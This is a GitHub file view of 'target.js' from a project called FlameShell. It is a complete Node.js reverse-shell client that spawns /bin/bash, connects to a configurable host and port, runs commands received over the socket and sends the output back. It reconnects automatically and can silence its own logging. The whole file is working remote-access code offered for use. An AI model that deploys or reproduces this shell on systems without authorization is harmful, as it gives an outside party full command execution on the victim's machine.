-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathtarget.js
127 lines (100 loc) · 4.07 KB
/
target.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/bin/node
/* -------------------------------------------------------------------------- */
/* Client */
/* -------------------------------------------------------------------------- */
/* -------------------------------- Settings -------------------------------- */
// The target server to connect to.
const host = '127.0.0.1';
// The port to connect to.
const port = 1337;
// The shell you want to share.
const shell = '/bin/bash';
// If set to true, the client will automatically try to reconnect on disconnect.
const autoReconnect = true;
// Wether or not if logging should be enabled or not. (true = disabled)
const silent = false;
/* ------------------------------ Do Not Touch ------------------------------ */
const version = "1.0.0";
/* ---------------------------------- Code ---------------------------------- */
// import
const net = require('net');
// create a new cmd child process
const { spawn } = require('child_process');
const cmd = spawn(shell);
// save last incoming message
let lastIncoming = '';
// create a new socket client
const client = net.createConnection({host, port});
// connect event handler
client.on('connect', () => {
// connect event
console.log(`\x1b[32m[C]\x1b[0m Connection to ${client.remoteAddress}:${client.remotePort} established.`);
// listen for the cmd data event
cmd.stdout.on('data', (data) => {
// check if current data equals the last incoming data
if (data.toString() == lastIncoming) return;
// send the data to the server
client.write(data);
});
// listen for the client data event
client.on('data', (data) => {
lastIncoming = data.toString();
console.log(`\x1b[32m[I]\x1b[0m Received incomming command. Executing...`);
// redirect it to the cmd stdin
cmd.stdin.write(data);
});
});
// handle errors
client.on('error', (err) => {
// handle ECONNREFUSED error
if (err.message.includes('ECONNREFUSED')) {
console.log(`\x1b[31m[E]\x1b[0m Connection to ${host}:${port} refused.`);
if (autoReconnect) {
return setTimeout(() => {
console.log(`\x1b[32m[C]\x1b[0m Trying to reconnect...`);
client.connect({port, host});
}, 1000);
}
}
// handle ECONNRESET error
if (err.message.includes('ECONNRESET')) {
console.log(`\x1b[31m[E]\x1b[0m Connection to ${host}:${port} reset.`);
if (autoReconnect) {
return setTimeout(() => {
console.log(`\x1b[32m[C]\x1b[0m Trying to reconnect...`);
client.connect({port, host});
}, 1000);
}
}
console.log(`\x1b[31m[E]\x1b[0m ${err}`);
});
// close the connection if the cmd exits
cmd.on('exit', () => {
console.log(`\x1b[32m[I]\x1b[0m Shell process exited. Closing connection...`);
client.end();
process.exit(0);
});
// reconnect if autoReconnect = true and the cmd is still running
cmd.on('close', (code) => {
if (autoReconnect) return;
if (cmd.exitCode === null) {
console.log(`\x1b[32m[I]\x1b[0m Connection closed. Reconnecting...`);
client.connect(port, host);
} else {
console.log(`\x1b[32m[I]\x1b[0m The shell process is no longer running. Exiting...`);
process.exit(0);
}
});
// overwrite console.log to only log if silent is disabled
if (silent) console.log = () => {};
// print logo
console.log(
'\x1b[0m\n' +
'\x1b[31m ______ __ ______ __ __ ______ \x1b[37m ______ __ __ ______ __ __ \n' +
'\x1b[31m/: ___: /: : /: __ : /: "-./ : /: ___: \x1b[37m /: ___: /: :_: : /: ___: /: : /: : \n' +
'\x1b[31m: : __: : : :____ : : __ : : : :-./: : : : __: \x1b[37m : :___ : : : __ : : : __: : : :____ : : :____ \n' +
'\x1b[31m : :_: : :_____: : :_: :_: : :_: : :_: : :_____:\x1b[37m :/:_____: : :_: :_: : :_____: : :_____: : :_____: \n' +
'\x1b[31m :/_/ :/_____/ :/_/:/_/ :/_/ :/_/ :/_____/\x1b[37m :/_____/ :/_/:/_/ :/_____/ :/_____/ :/_____/ \n' +
`\x1b[0m FlameShell v${version} by Malte Linke\n`
.replace(':', '\\')
);